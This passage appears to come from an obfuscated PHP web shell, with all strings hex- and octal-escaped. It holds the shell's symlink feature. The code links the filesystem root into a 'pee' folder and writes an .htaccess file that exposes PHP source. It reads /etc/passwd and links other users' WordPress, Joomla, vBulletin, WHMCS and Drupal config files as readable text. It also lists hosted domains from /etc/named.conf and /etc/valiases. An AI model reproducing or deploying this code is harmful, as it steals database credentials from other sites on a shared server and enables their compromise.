"\74\x74\162\x3e\x3c\164\x64\x20\x63\154\141\x73\x73\75\42\164\x64\55\x66\151\x6c\145\42\40\x73\164\171\154\145\75\x22\x70\x61\x64\144\151\156\147\72\67\x70\x78\42\x3e\74\x73\160\x61\156\40\143\154\141\163\163\x3d\42\154\141\142\x65\x6c\55\x73\x75\143\x63\145\x73\163\x22\76\74\151\x20\143\154\141\163\163\75\42\x7a\155\x64\x69\x20\172\155\144\151\55\146\157\154\x64\x65\162\x2d\157\x75\x74\x6c\151\156\x65\x20\172\x6d\144\151\55\x68\x63\x2d\146\x77\42\x3e\74\x2f\x69\76\74\x2f\x73\x70\x61\156\x3e\x20\x5b\40\x2f\145\164\143\x2f\x6e\141\155\145\x64\x2e\143\x6f\x6e\146\x20\135\74\57\164\x64\x3e\x3c\x74\144\40\143\154\141\x73\x73\x3d\x22\164\x64\x2d\146\151\154\x65\42\x3e\x3c\143\145\x6e\x74\145\162\76\x3c\x69\40\143\x6c\x61\x73\163\75\x22\x7a\x6d\x64\x69\40\172\x6d\144\x69\x2d\x63\x68\x65\x76\x72\157\156\x2d\x72\151\147\x68\x74\x20\172\x6d\x64\x69\x2d\x68\x63\55\146\167\42\x3e\x3c\57\x69\x3e\74\57\x63\145\x6e\164\145\x72\76\74\x2f\164\144\x3e\x3c\164\x64\40\143\154\141\x73\163\x3d\42\164\x64\55\146\151\x6c\x65\42\x3e\74\143\145\x6e\164\145\162\x3e" . $named . "\x3c\x2f\141\76\x3c\x2f\143\145\x6e\x74\x65\x72\76\x3c\57\164\x64\76"; print "\x3c\164\162\x3e\x3c\x74\144\40\143\x6c\x61\x73\163\x3d\42\164\144\55\x66\x69\x6c\145\42\40\163\x74\x79\x6c\145\75\42\x70\141\x64\144\151\x6e\147\72\67\x70\x78\42\76\x3c\x73\160\x61\x6e\x20\143\x6c\141\x73\x73\75\42\154\141\142\145\154\x2d\163\165\x63\143\x65\163\x73\x22\76\x3c\x69\x20\x63\x6c\x61\x73\163\75\x22\172\x6d\144\151\x20\x7a\155\144\151\x2d\146\x6f\x6c\x64\145\162\55\157\x75\164\154\x69\156\145\x20\x7a\155\144\151\x2d\150\x63\x2d\146\167\x22\76\x3c\x2f\151\x3e\x3c\x2f\x73\160\141\156\x3e\x20\x5b\x20\57\x65\164\143\x2f\x76\x61\154\151\141\163\145\163\40\x5d\x3c\x2f\x74\144\x3e\x3c\x74\144\40\143\154\141\163\x73\x3d\x22\x74\144\x2d\146\x69\154\145\x22\42\x3e\74\143\x65\x6e\164\x65\x72\x3e\x3c\x69\40\143\154\141\x73\163\x3d\42\x7a\155\144\151\x20\172\155\144\151\55\143\150\x65\x76\162\157\156\x2d\162\151\147\x68\164\40\172\155\x64\151\x2d\150\x63\55\x66\x77\42\x3e\x3c\x2f\x69\x3e\x3c\x2f\x63\145\x6e\164\145\162\x3e\x3c\57\x74\x64\76\74\164\x64\40\143\x6c\x61\163\x73\75\x22\164\x64\x2d\146\x69\154\x65\x22\x3e\74\x63\145\156\x74\145\162\76" . $valiases . "\x3c\x2f\141\x3e\74\57\x63\x65\x6e\164\145\x72\76\74\x2f\x74\x64\x3e"; print "\74\x74\x72\x3e\x3c\x74\144\40\x63\x6c\x61\163\x73\75\x22\x74\144\55\x66\151\154\x65\42\40\x73\164\171\154\x65\75\x22\x70\x61\144\x64\151\x6e\147\x3a\x37\160\170\x22\76\x3c\x73\160\141\x6e\x20\x63\154\141\x73\x73\75\x22\x6c\x61\142\x65\154\x2d\x73\x75\143\x63\145\163\163\42\76\x3c\x69\x20\143\x6c\141\x73\163\75\42\172\155\144\151\40\x7a\155\144\x69\x2d\146\157\154\144\145\162\x2d\x6f\x75\164\x6c\151\156\x65\x20\x7a\155\144\x69\55\x68\143\x2d\146\x77\42\x3e\74\x2f\151\x3e\x3c\57\x73\x70\141\x6e\x3e\40\133\x20\57\145\164\143\x2f\160\141\163\x73\167\x64\40\x5d\x3c\x2f\x74\144\76\74\164\x64\x20\143\154\141\163\x73\x3d\x22\164\x64\55\146\x69\154\145\42\x3e\74\143\145\x6e\x74\145\162\76\x3c\x69\40\x63\154\x61\x73\x73\x3d\x22\172\x6d\x64\x69\40\x7a\155\144\x69\55\143\150\x65\x76\x72\x6f\x6e\55\x72\x69\147\x68\164\40\x7a\155\144\x69\55\150\143\55\x66\x77\42\76\x3c\57\151\x3e\74\57\x63\x65\x6e\x74\145\x72\76\74\x2f\x74\144\x3e\74\x74\144\40\x63\x6c\141\x73\x73\x3d\x22\164\144\x2d\146\151\x6c\145\x22\x3e\74\143\x65\156\x74\145\162\x3e" . $passwd . "\74\57\141\x3e\x3c\57\x63\x65\156\x74\145\x72\76\x3c\x2f\164\144\x3e"; print "\74\164\162\76\x3c\164\144\40\143\154\141\163\x73\75\42\x74\x64\55\x66\x69\154\x65\42\x20\x73\164\x79\154\x65\x3d\42\160\x61\x64\144\x69\156\x67\x3a\x37\x70\x78\x22\x3e\74\x73\160\141\156\x20\143\x6c\x61\x73\163\x3d\42\154\141\142\145\x6c\x2d\x73\x75\x63\143\145\x73\163\x22\x3e\x3c\x69\40\x63\154\141\163\x73\x3d\42\172\x6d\x64\x69\40\172\x6d\144\151\x2d\x66\x6f\x6c\x64\x65\162\55\x6f\x75\x74\x6c\151\156\145\40\172\x6d\144\151\x2d\x68\143\55\x66\167\x22\76\74\x2f\151\x3e\74\x2f\x73\160\x61\x6e\x3e\x20\x5b\40\x2f\166\x61\x72\x2f\156\x61\155\145\144\57\x20\x5d\74\x2f\164\x64\x3e\74\x74\144\x20\143\x6c\x61\163\163\75\42\164\144\55\x66\x69\x6c\x65\42\x3e\74\143\145\156\164\145\x72\76\x3c\x69\40\143\154\141\x73\163\x3d\x22\172\155\x64\x69\40\x7a\155\x64\151\55\143\x68\145\166\162\x6f\x6e\55\162\x69\147\x68\x74\40\172\x6d\x64\151\55\150\x63\55\146\167\x22\x3e\x3c\57\x69\x3e\x3c\57\143\x65\156\164\x65\x72\76\74\x2f\x74\x64\x3e\x3c\x74\x64\40\143\x6c\141\x73\x73\x3d\42\164\144\x2d\146\x69\x6c\145\42\76\x3c\x63\x65\156\164\145\x72\x3e" . $var . "\74\x2f\x61\x3e\x3c\57\x63\x65\156\x74\x65\162\76\x3c\x2f\164\x64\76"; print "\x3c\57\x74\x61\142\154\145\x3e\x3c\x2f\x64\151\x76\x3e"; @mkdir("\x70\145\x65", 511); @symlink("\57", "\160\x65\145\x2f\162\157\x6f\x74"); $htaccss = "\117\x70\x74\151\x6f\156\x73\40\141\154\154\40\xa\104\151\162\x65\x63\x74\157\162\171\x49\x6e\x64\145\170\40\x53\x75\x78\x2e\x68\x74\x6d\x6c\x20\xa\101\144\x64\x54\171\x70\x65\40\164\x65\170\x74\57\x70\x6c\x61\151\x6e\40\56\x70\x68\x70\x20\xa\101\144\x64\x48\x61\156\x64\x6c\x65\162\40\x73\x65\x72\166\x65\x72\55\160\x61\162\163\x65\x64\40\56\160\150\x70\40\12\x41\144\x64\124\171\160\145\40\x74\x65\x78\164\x2f\160\154\141\151\156\40\x2e\150\x74\x6d\154\x20\12\x41\x64\x64\x48\x61\x6e\144\x6c\x65\x72\x20\164\x78\164\x20\x2e\x68\164\x6d\154\x20\xa\x52\x65\x71\x75\x69\x72\x65\40\116\157\156\145\40\xa\x53\x61\x74\x69\x73\x66\171\40\x41\156\x79"; file_put_contents("\160\x65\x65\x2f\x2e\x68\x74\x61\x63\x63\145\x73\x73", $htaccss); $ms_2 = file_get_contents("\x2f\145\x74\x63\57\160\x61\x73\163\167\144"); $ms_2z = explode("\xa", $ms_2); foreach ($ms_2z as $ms_3) { $ms_1 = explode("\x3a", $ms_3); $ms_4 = posix_getcwd(); $dr = explode("\57", $ms_4); symlink("\x2f" . $dr[1] . "\x2f" . $ms_1[0] . "\x2f" . $dr[3] . "\57\167\160\55\143\x6f\x6e\x66\x69\x67\56\x70\x68\160", "\x70\145\145\x2f" . $ms_1[0] . "\55\x57\x6f\x72\x64\x50\162\145\x73\x73\x2e\164\170\164"); symlink("\57" . $dr[1] . "\x2f" . $ms_1[0] . "\57" . $dr[3] . "\57\142\x6c\157\x67\57\167\x70\x2d\143\x6f\x6e\146\x69\147\x2e\160\x68\160", "\160\x65\x65\x2f" . $ms_1[0] . "\55\x57\157\x72\x64\120\x72\145\163\163\56\x74\170\164"); symlink("\x2f" . $dr[1] . "\57" . $ms_1[0] . "\x2f" . $dr[3] . "\57\x77\x70\57\x77\160\55\x63\x6f\156\x66\151\x67\x2e\x70\x68\x70", "\x70\x65\145\x2f" . $ms_1[0] . "\55\127\x6f\162\144\120\x72\x65\x73\163\x2e\x74\x78\164"); symlink("\x2f" . $dr[1] . "\57" . $ms_1[0] . "\x2f" . $dr[3] . "\x2f\163\x69\x74\145\57\x77\160\55\143\157\156\146\x69\x67\56\160\x68\x70", "\x70\145\x65\x2f" . $ms_1[0] . "\55\x57\157\x72\x64\120\x72\145\x73\x73\56\x74\170\164"); symlink("\x2f" . $dr[1] . "\57" . $ms_1[0] . "\57" . $dr[3] . "\57\x63\x6f\x6e\x66\151\147\56\160\150\160", "\x70\145\145\x2f" . $ms_1[0] . "\55\x50\150\160\102\102\56\x74\x78\x74"); symlink("\57" . $dr[1] . "\57" . $ms_1[0] . "\57" . $dr[3] . "\x2f\x69\x6e\143\x6c\165\144\x65\x73\x2f\143\x6f\x6e\x66\151\x67\56\x70\150\x70", "\160\145\x65\x2f" . $ms_1[0] . "\x2d\x76\x42\x75\x6c\154\145\x74\151\156\56\164\170\164"); symlink("\x2f" . $dr[1] . "\x2f" . $ms_1[0] . "\57" . $dr[3] . "\57\143\157\x6e\146\x69\147\x75\162\141\164\151\157\x6e\x2e\160\x68\160", "\160\x65\x65\x2f" . $ms_1[0] . "\x2d\112\x6f\157\x6d\154\141\x2e\164\170\x74"); symlink("\57" . $dr[1] . "\x2f" . $ms_1[0] . "\57" . $dr[3] . "\57\x77\x65\x62\x2f\143\157\x6e\146\x69\147\165\162\x61\x74\151\x6f\x6e\56\160\150\160", "\160\x65\x65\x2f" . $ms_1[0] . "\x2d\112\x6f\x6f\155\154\x61\56\x74\x78\x74"); symlink("\x2f" . $dr[1] . "\x2f" . $ms_1[0] . "\57" . $dr[3] . "\x2f\152\x6f\x6f\x6d\x6c\141\57\x63\x6f\x6e\146\151\x67\165\162\141\164\151\157\156\56\x70\x68\x70", "\x70\x65\145\57" . $ms_1[0] . "\55\112\157\x6f\155\154\x61\56\x74\170\x74"); symlink("\x2f" . $dr[1] . "\57" . $ms_1[0] . "\x2f" . $dr[3] . "\57\x73\151\164\x65\57\143\157\x6e\146\151\147\165\162\x61\x74\151\x6f\x6e\56\x70\150\160", "\160\x65\x65\57" . $ms_1[0] . "\x2d\112\157\157\155\x6c\141\56\x74\170\164"); symlink("\x2f" . $dr[1] . "\x2f" . $ms_1[0] . "\57" . $dr[3] . "\x2f\143\157\x6e\x66\137\x67\x6c\x6f\142\141\154\56\x70\x68\160", "\x70\145\x65\x2f" . $ms_1[0] . "\x2d\x49\x50\102\x2e\164\x78\164"); symlink("\57" . $dr[1] . "\57" . $ms_1[0] . "\x2f" . $dr[3] . "\x2f\x69\156\143\57\143\157\156\146\x69\x67\x2e\x70\x68\x70", "\x70\145\x65\x2f" . $ms_1[0] . "\x2d\115\171\102\102\x2e\164\x78\x74"); symlink("\57" . $dr[1] . "\x2f" . $ms_1[0] . "\x2f" . $dr[3] . "\x2f\123\x65\x74\x74\x69\x6e\147\163\56\x70\150\x70", "\160\145\x65\57" . $ms_1[0] . "\x2d\123\x4d\x46\56\164\170\x74"); symlink("\57" . $dr[1] . "\57" . $ms_1[0] . "\57" . $dr[3] . "\x2f\163\x69\x74\145\163\x2f\144\x65\146\x61\165\x6c\164\57\x73\145\x74\164\151\x6e\147\x73\56\x70\150\160", "\x70\x65\145\57" . $ms_1[0] . "\55\104\162\165\x70\x61\x6c\56\164\x78\x74"); symlink("\57" . $dr[1] . "\x2f" . $ms_1[0] . "\x2f" . $dr[3] . "\57\145\x31\60\67\137\x63\157\156\146\151\147\56\160\150\x70", "\x70\145\145\57" . $ms_1[0] . "\x2d\145\61\x30\67\56\164\x78\164"); symlink("\57" . $dr[1] . "\57" . $ms_1[0] . "\x2f" . $dr[3] . "\x2f\144\141\164\x61\x73\57\x63\x6f\156\x66\x69\x67\56\x70\x68\160", "\x70\145\145\57" . $ms_1[0] . "\x2d\x53\x65\144\x69\x74\151\157\x2e\164\x78\x74"); symlink("\57" . $dr[1] . "\57" . $ms_1[0] . "\x2f" . $dr[3] . "\57\151\x6e\x63\x6c\165\x64\x65\163\x2f\143\157\156\x66\x69\x67\165\x72\x65\x2e\x70\150\x70", "\160\145\145\57" . $ms_1[0] . "\x2d\157\x73\x43\157\x6d\x6d\145\x72\143\145\x2e\164\x78\x74"); symlink("\x2f" . $dr[1] . "\x2f" . $ms_1[0] . "\57" . $dr[3] . "\x2f\143\154\x69\x65\156\x74\x2f\143\x6f\x6e\x66\x69\x67\x75\162\x61\164\x69\x6f\x6e\x2e\x70\x68\160", "\x70\x65\145\x2f" . $ms_1[0] . "\x2d\127\110\x4d\103\x53\x2e\164\x78\164"); symlink("\57" . $dr[1] . "\x2f" . $ms_1[0] . "\x2f" . $dr[3] . "\57\x63\154\x69\145\x6e\164\x65\163\57\x63\x6f\x6e\x66\151\x67\x75\162\141\164\x69\x6f\156\x2e\x70\150\x70", "\160\x65\x65\x2f" . $ms_1[0] . "\x2d\127\110\x4d\x43\x53\x2e\x74\170\164"); symlink("\57" . $dr[1] . "\57" . $ms_1[0] . "\x2f" . $dr[3] . "\57\x73\165\x70\160\x6f\162\x74\x2f\x63\x6f\156\x66\x69\x67\x75\x72\x61\164\151\x6f\156\x2e\x70\x68\x70", "\160\145\x65\x2f" . $ms_1[0] . "\x2d\127\x48\115\103\123\56\x74\170\164"); symlink("\57" . $dr[1] . "\57" . $ms_1[0] . "\57" . $dr[3] . "\x2f\163\x75\x70\x70\157\x72\164\145\163\x2f\143\x6f\156\146\151\147\165\x72\141\x74\151\157\156\56\x70\150\x70", "\x70\x65\145\57" . $ms_1[0] . "\x2d\127\x48\115\103\x53\56\164\x78\164"); symlink("\57" . $dr[1] . "\x2f" . $ms_1[0] . "\57" . $dr[3] . "\57\167\x68\155\x63\163\57\x63\157\156\x66\151\147\x75\162\141\x74\x69\x6f\x6e\56\x70\x68\x70", "\x70\145\145\57" . $ms_1[0] . "\55\127\x48\x4d\103\x53\x2e\x74\x78\x74"); symlink("\x2f" . $dr[1] . "\57" . $ms_1[0] . "\57" . $dr[3] . "\57\144\157\x6d\x61\x69\156\57\x63\x6f\x6e\146\x69\147\x75\x72\141\164\151\x6f\x6e\x2e\x70\x68\x70", "\160\145\x65\57" . $ms_1[0] . "\55\127\x48\x4d\x43\123\56\x74\x78\x74"); symlink("\57" . $dr[1] . "\x2f" . $ms_1[0] . "\x2f" . $dr[3] . "\57\x68\x6f\163\164\151\x6e\x67\57\x63\157\156\146\x69\x67\165\x72\141\164\x69\x6f\156\56\x70\x68\x70", "\160\x65\x65\57" . $ms_1[0] . "\55\x57\x48\x4d\x43\x53\56\164\x78\164"); symlink("\x2f" . $dr[1] . "\57" . $ms_1[0] . "\x2f" . $dr[3] . "\x2f\167\x68\155\x63\57\143\157\156\146\x69\x67\x75\x72\141\x74\x69\x6f\x6e\x2e\160\150\160", "\160\x65\145\x2f" . $ms_1[0] . "\x2d\127\x48\115\x43\x53\56\164\x78\x74"); symlink("\x2f" . $dr[1] . "\x2f" . $ms_1[0] . "\x2f" . $dr[3] . "\x2f\x62\151\x6c\x6c\x69\x6e\147\x2f\143\x6f\x6e\146\x69\147\165\162\141\164\151\x6f\156\x2e\160\150\x70", "\160\145\145\x2f" . $ms_1[0] . "\55\x57\x48\x4d\x43\123\56\164\170\x74"); symlink("\57" . $dr[1] . "\x2f" . $ms_1[0] . "\57" . $dr[3] . "\x2f\x70\157\x72\164\141\x6c\x2f\x63\x6f\x6e\x66\x69\x67\165\x72\141\164\x69\x6f\156\x2e\160\x68\160", "\x70\x65\145\x2f" . $ms_1[0] . "\x2d\127\x48\x4d\103\x53\x2e\x74\170\x74"); symlink("\57" . $dr[1] . "\57" . $ms_1[0] . "\x2f" . $dr[3] . "\x2f\157\x72\144\x65\162\57\143\157\156\146\x69\147\x75\x72\141\x74\x69\157\x6e\56\160\x68\x70", "\x70\145\145\x2f" . $ms_1[0] . "\x2d\127\110\x4d\x43\123\x2e\x74\170\164"); symlink("\57" . $dr[1] . "\x2f" . $ms_1[0] . "\57" . $dr[3] . "\57\x63\154\151\x65\156\164\x61\x72\145\141\x2f\143\157\x6e\x66\151\x67\165\x72\141\164\151\x6f\x6e\56\160\x68\160", "\160\x65\145\57" . $ms_1[0] . "\x2d\127\110\x4d\x43\x53\56\x74\x78\x74"); symlink("\x2f" . $dr[1] . "\57" . $ms_1[0] . "\57" . $dr[3] . "\x2f\x64\157\x6d\141\x69\x6e\163\x2f\143\157\156\x66\151\147\x75\162\141\x74\x69\x6f\x6e\56\x70\x68\x70", "\x70\145\145\x2f" . $ms_1[0] . "\55\127\x48\115\103\123\x2e\164\170\x74"); } break; case "\x6e\141\155\145\x64\x2e\x63\157\156\146": switch (true) { case is_readable("\57\x65\x74\143\x2f\x6e\x61\155\145\x64\x2e\143\157\x6e\146"): print "\74\x64\x69\x76\x20\143\154\141\163\x73\75\x22\143\157\x4c\55\x70\x61\156\x65\154\42\x3e\x3c\164\x61\142\x6c\145\x3e\x3c\164\144\x20\143\154\x61\163\163\75\42\164\144\55\160\141\156\145\154\x22\76\x3c\x63\x65\x6e\164\x65\x72\76\74\x64\x69\166\40\x63\x6c\141\x73\x73\75\42\x6c\157\x61\x64\145\162\x22\76\x3c\x2f\144\x69\166\76\x3c\x2f\143\x65\x6e\164\145\x72\x3e\x3c\x2f\164\x64\x3e\x3c\164\x64\40\143\x6c\x61\163\x73\x3d\42\164\x64\55\160\x61\156\145\154\x2d\162\x69\x67\x68\164\x22\76\123\x59\x4d\114\111\116\113\40\133\40\x45\124\x43\57\116\101\115\x45\x44\56\103\117\116\x46\40\135\x3c\57\164\144\76\74\57\x74\x61\x62\x6c\x65\x3e\74\57\x64\151\x76\x3e"; print "\x3c\x74\141\x62\x6c\145\40\x63\x6c\141\163\163\x3d\x22\x74\141\142\154\x65\x2d\146\151\154\145\42\x20\143\x65\x6c\x6c\x73\160\141\143\151\156\147\x3d\x22\x30\x22\76\xa\x9\11\11\x9\74\x74\x68\x20\x63\154\141\x73\163\x3d\x22\164\150\x2d\146\151\x6c\145\x22\x3e\x57\x65\x62\163\151\164\x65\x3c\x2f\164\150\76\xa\11\x9\11\x9\74\164\x68\x20\143\x6c\x61\163\x73\x3d\42\x74\x68\55\x66\151\x6c\x65\42\40\x73\x74\x79\154\145\75\x22\x77\151\x64\164\150\x3a\66\x30\x70\170\42\x3e\x55\163\x65\x72\74\57\164\150\76\xa\x9\11\11\11\74\164\x68\x20\143\x6c\x61\163\x73\x3d\x22\164\150\55\x66\x69\154\x65\x22\x20\163\164\171\154\145\75\x22\167\x69\x64\164\x68\x3a\x36\60\160\170\42\76\x41\x63\x74\151\157\x6e\74\x2f\164\x68\x3e"; $named = file_get_contents("\57\145\164\x63\x2f\x6e\x61\x6d\145\x64\x2e\x63\x6f\x6e\x66"); preg_match_all("\x25\x7a\157\x6e\x65\x20\134\42\50\56\52\51\x5c\x22\40\x7b\x25", $named, $domains); foreach ($domains[1] as $domain) { $domain = trim($domain); $i += 1; $owner = posix_getpwuid(fileowner("\57\x65\x74\x63\x2f\x76\141\154\x69\x61\163\x65\163\57" . $domain)); print "\x3c\164\x72\x3e\74\164\x64\40\143\x6c\x61\163\163\x3d\x27\x74\144\x2d\146\x69\x6c\x65\40\145\154\151\160\x27\x20\163\164\x79\x6c\x65\x3d\x27\x70\141\x64\144\151\156\147\72\67\x70\170\47\x3e\40\x3c\x73\x70\x61\156\40\x63\x6c\x61\x73\x73\75\47\x6c\141\142\x65\154\x2d\x73\165\x63\143\145\163\x73\47\x3e\74\151\40\x63\154\141\163\x73\75\x27\172\155\144\x69\40\172\155\x64\x69\55\147\x6c\x6f\x62\x65\x20\172\155\144\x69\x2d\150\x63\55\146\x77\x27\x3e\74\x2f\151\76\74\x2f\163\160\141\156\x3e\x20\x20\74\x61\40\150\162\145\x66\x3d\47\150\164\164\160\72\57\57" . $domain . "\x20\x27\x3e" . $domain . "\74\57\x61\76\74\x2f\164\x64\76\x3c\x74\144\40\143\x6c\x61\163\163\75\x27\x74\144\55\146\151\x6c\145\47\x3e\x3c\x63\145\x6e\x74\145\162\76\x3c\x66\x6f\156\164\40\143\157\x6c\157\162\x3d\x27\x23\x31\104\x39\x44\x37\x33\47\76" . $owner["\156\141\155\145"] . "\x3c\x2f\146\x6f\156\164\76\x3c\57\x63\145\156\x74\145\x72\76\x3c\57\x74\144\76\74\x74\x64\40\x63\154\x61\x73\x73\x3d\x27\x74\x64\x2d\x66\x69\154\x65\x27\x3e\74\x63\x65\x6e\164\145\x72\76\x3c\x61\40\x68\x72\x65\x66\x3d\47\x70\145\x65\x2f\162\157\x6f\x74" . $owner["\x64\151\x72"] . "\57" . $dr[3] . "\x27\x20\164\141\162\x67\x65\x74\75\47\x5f\142\x6c\141\x6e\x6b\47\x3e\x4f\120\105\116\74\x2f\141\x3e\74\57\143\145\x6e\164\145\162\x3e\74\x2f\164\144\x3e"; } print "\x3c\x2f\164\x61\x62\154\145\x3e\74\x64\151\x76\40\143\154\x61\163\163\x3d\x27\143\157\x4c\55\x6f\160\x74\x69\157\x6e\47\x20\163\x74\171\x6c\x65\x3d\x27\160\x61\x64\x64\151\156\x67\72\x37\x70\170\73\155\141\162\x67\x69\x6e\x2d\x74\157\x70\72\63\160\170\x27\76\x54\x6f\x74\141\154\40\104\157\155\141\151\x6e\x20\x3a\x20\x3c\x62\165\164\164\x6f\x6e\40\x63\154\x61\163\x73\x3d\47\154\x61\167\x62\x27\x20\163\164\x79\154\145\75\47\x77\151\x64\x74\150\x3a\x36\60\x70\x78\x3b\160\x6f\x73\x69\164\x69\157\156\72\x72\x65\154\141\x74\151\166\x65\x3b\164\x6f\x70\x3a\x30\x70\170\x27\x3e" . $i . "\74\57\x62\x75\x74\164\x6f\x6e\76\x3c\x2f\144\151\166\76\74\57\x64\x69\x76\x3e"; break; default: print "\x3c\x74\x72\76\74\x74\x64\40\x63\154\x61\x73\163\x3d\x27\164\x64\x2d\x66\151\x6c\x65\47\76\x63\x61\x6e\x27\164\x20\x72\x65\x61\144\x20\x5b\x20\x2f\145\164\x63\x2f\156\x61\x6d\x65\x64\56\x63\x6f\x6e\146\x20\x5d\x3c\57\x74\144\x3e\74\57\x74\x72\76"; } break; case "\166\x61\x6c\151\x61\x73\145\x73": switch (true) { case is_readable("\x2f\x65\x74\143\x2f\x76\x61\154\151\x61\163\x65\x73"): print "\74\144\x69\166\40\143\x6c\x61\x73\x73\x3d\x22\x63\x6f\114\55\x70\x61\x6e\145\154\x22\76\x3c\x74\x61\x62\x6c\145\x3e\xa\x3c\164\144\40\x63\x6c\x61\x73\x73\75\42\x74\x64\x2d\160\x61\156\x65\154\42\76\x3c\143\x65\156\x74\x65\x72\76\74\x64\x69\166\40\x63\x6c\x61\163\163\75\x22\154\x6f\141\x64\145\162\x22\x3e\74\57\x64\x69\166\76\x3c\x2f\x63\x65\156\x74\x65\x72\76\74\x2f\164\144\76\x3c\x74\144\x20\143\154\x61\163\x73\x3d\42\x74\144\x2d\160\141\156\x65\154\55\x72\x69\x67\150\x74\x22\76\x53\x59\115\114\111\x4e\x4b\x20\133\40\x45\x54\x43\x2f\126\x41\114\111\x41\x53\x45\x53\x20\x5d\x3c\57\164\144\76\74\57\x74\x61\142\154\x65\76\74\57\x64\x69\166\x3e"; print "\x3c\164\x61\x62\x6c\x65\40\x63\154\x61\163\x73\75\x22\164\141\142\x6c\145\55\146\x69\x6c\x65\x22\x20\x63\x65\x6c\x6c\163\160\x61\x63\x69\156\147\75\x22\x30\x22\x3e\xa\x9\11\11\11\74\164\150\40\x63\154\141\163\x73\x3d\42\x74\x68\x2d\x66\x69\x6c\x65\x22\76\x57\x65\142\x73\x69\x74\x65\74\x2f\x74\x68\x3e\12\11\11\x9\11\74\x74\x68\x20\143\154\141\x73\x73\x3d\42\164\150\55\146\x69\154\145\42\40\163\x74\171\154\x65\75\42\167\x69\x64\x74\x68\72\x36\60\x70\x78\42\76\125\x73\145\x72\74\57\164\x68\x3e\12\11\11\11\x9\74\164\x68\40\143\x6c\x61\x73\x73\x3d\x22\164\x68\x2d\146\151\154\145\42\40\163\x74\171\x6c\x65\75\x22\167\x69\x64\164\150\x3a\x36\x30\160\x78\42\x3e\101\x63\164\151\x6f\x6e\74\57\x74\x68\76"; $list = scandir("\x2f\145\164\143\57\x76\x61\154\x69\141\163\x65\x73"); foreach ($list as $domain) { $i += 1; $owner = posix_getpwuid(fileowner("\x2f\145\164\x63\57\x76\x61\x6c\151\x61\163\x65\x73\x2f" . $domain)); print "\74\164\162\76\x3c\164\x64\40\x63\x6c\141\163\163\x3d\x27\164\x64\55\x66\x69\x6c\145\40\x65\x6c\x69\160\47\x20\x73\164\x79\x6c\145\x3d\47\x70\x61\x64\x64\x69\156\147\72\x37\x70\170\x27\x3e\x20\x3c\163\160\141\156\40\x63\x6c\141\163\x73\75\47\x6c\141\x62\x65\x6c\x2d\163\165\143\x63\145\x73\163\x27\76\74\151\x20\x63\154\141\163\x73\75\x27\172\x6d\x64\151\40\172\155\144\151\55\x67\x6c\x6f\142\145\x20\172\155\x64\x69\x2d\x68\x63\55\x66\167\x27\x3e\x3c\57\151\76\74\57\163\x70\141\x6e\x3e\x20\x3c\x61\x20\x68\162\145\146\75\x27\150\x74\x74\160\x3a\x2f\57" . $domain . "\x27\76" . $domain . "\74\x2f\141\76\x3c\57\164\x64\76\74\x63\145\x6e\164\145\x72\76\74\164\x64\40\x63\154\141\163\163\x3d\47\164\144\x2d\x66\151\154\x65\x27\x3e\74\x66\157\156\x74\40\x63\157\x6c\x6f\x72\x3d\x27\43\x31\104\71\104\67\x33\x27\76" . $owner["\156\x61\155\145"] . "\x3c\57\146\x6f\x6e\164\x3e\x3c\57\x63\145\x6e\x74\x65\x72\76\74\x2f\164\x64\76\74\164\144\x20\x63\154\141\163\x73\x3d\x27\164\144\55\146\x69\x6c\x65\47\x3e\74\x63\145\156\x74\x65\x72\76\74\141\40\150\x72\x65\x66\75\47\160\145\x65\57\162\x6f\x6f\x74" . $owner["\x64\x69\x72"] . "\x2f" . $dr[3] . "\47\x20\x74\x61\162\147\145\164\75\47\x5f\142\154\x61\x6e\153\x27\x3e\x4f\120\x45\116\74\57\x61\76\x3c\x2f\x63\145\x6e\x74\x65\162\76\74\x2f\x74\144\x3e"; } print "\x3c\57\164\x61\142\154\145\76\74\x64\x69\x76\x20\143\154\141\x73\163\75\x27\x63\157\x4c\55\157\160\164\151\x6f\156\47\40\163\164\171\154\x65\75\47\160\x61\144\x64\151\156\x67\72\67\160\170\x3b\155\141\162\x67\151\156\55\x74\x6f\160\x3a\x33\x70\170\47\x3e\124\157\x74\141\x6c\x20\x44\157\x6d\141\151\x6e\40\x3a\x20\x3c\x62\x75\x74\x74\x6f\x6e\x20\143\x6c\x61\x73\x73\x3d\47\154\141\x77\x62\x27\x20\163\x74\171\154\x65\75\47\x77\x69\x64\x74\x68\x3a\x36\x30\160\170\73\x70\157\163\151\x74\151\157\156\72\162\x65\154\141\x74\151\166\x65\x3b\164\157\x70\72\60\x70\170\x27\76" . $i . "\x3c\x2f\x62\x75\164\164\157\x6e\x3e\x3c\x2f\144\151\x76\x3e\74\57\x64\x69\x76\76"; break; default: print "\x3c\x74\x72\76\x3c\x74\144\40\x63\x6c\141\x73\x73\75\x27\x74\x64\x2d\146\151\154\x65\x27\76\x63\141\156\47\164\x20\162\145\x61\144\40\133\x20\x2f\x65\164\x63\x2f\166\x61\154\x69\141\x73\x65\x73\x20\135\74\57\164\x64\76\x3c\x2f\164\x72\76"; } break; case "\x70\141\x73\x73\167\x64": $etc = file_get_contents("\57\x65\x74\x63\57\160\141\x73\163\x77\x64"); $etcz = explode("\xa", $etc); switch (true) { case is_readable("\x2f\145\164\x63\x2f\x70\141\163\163\x77\144"): print "\x3c\144\151\x76\x20\143\x6c\x61\x73\163\75\42\143\x6f\114\x2d\x70\141\x6e\145\x6c\42\x3e\74\164\141\x62\x6c\x65\x3e\74\164\x64\x20\143\154\x61\163\163\x3d\42\x74\144\x2d\160\x61\156\x65\x6c\x22\76\x3c\x63\145\x6e\x74\x65\162\76\x3c\144\x69\x76\40\143\x6c\x61\163\x73\75\42\x6c\157\141\144\145\x72\x22\x3e\74\x2f\x64\x69\166\76\x3c\57\x63\145\x6e\x74\x65\162\76\74\57\164\x64\x3e\74\164\144\40\143\154\x61\x73\x73\x3d\42\164\x64\55\160\x61\156\145\154\55\x72\151\x67\150\164\42\x3e\123\131\115\114\111\x4e\113\40\133\x20\105\x54\x43\x2f\120\x41\123\123\x57\x44\40\135\74\x2f\x74\144\x3e\74\57\x74\141\x62\154\145\x3e\x3c\x2f\144\x69\166\76"; print 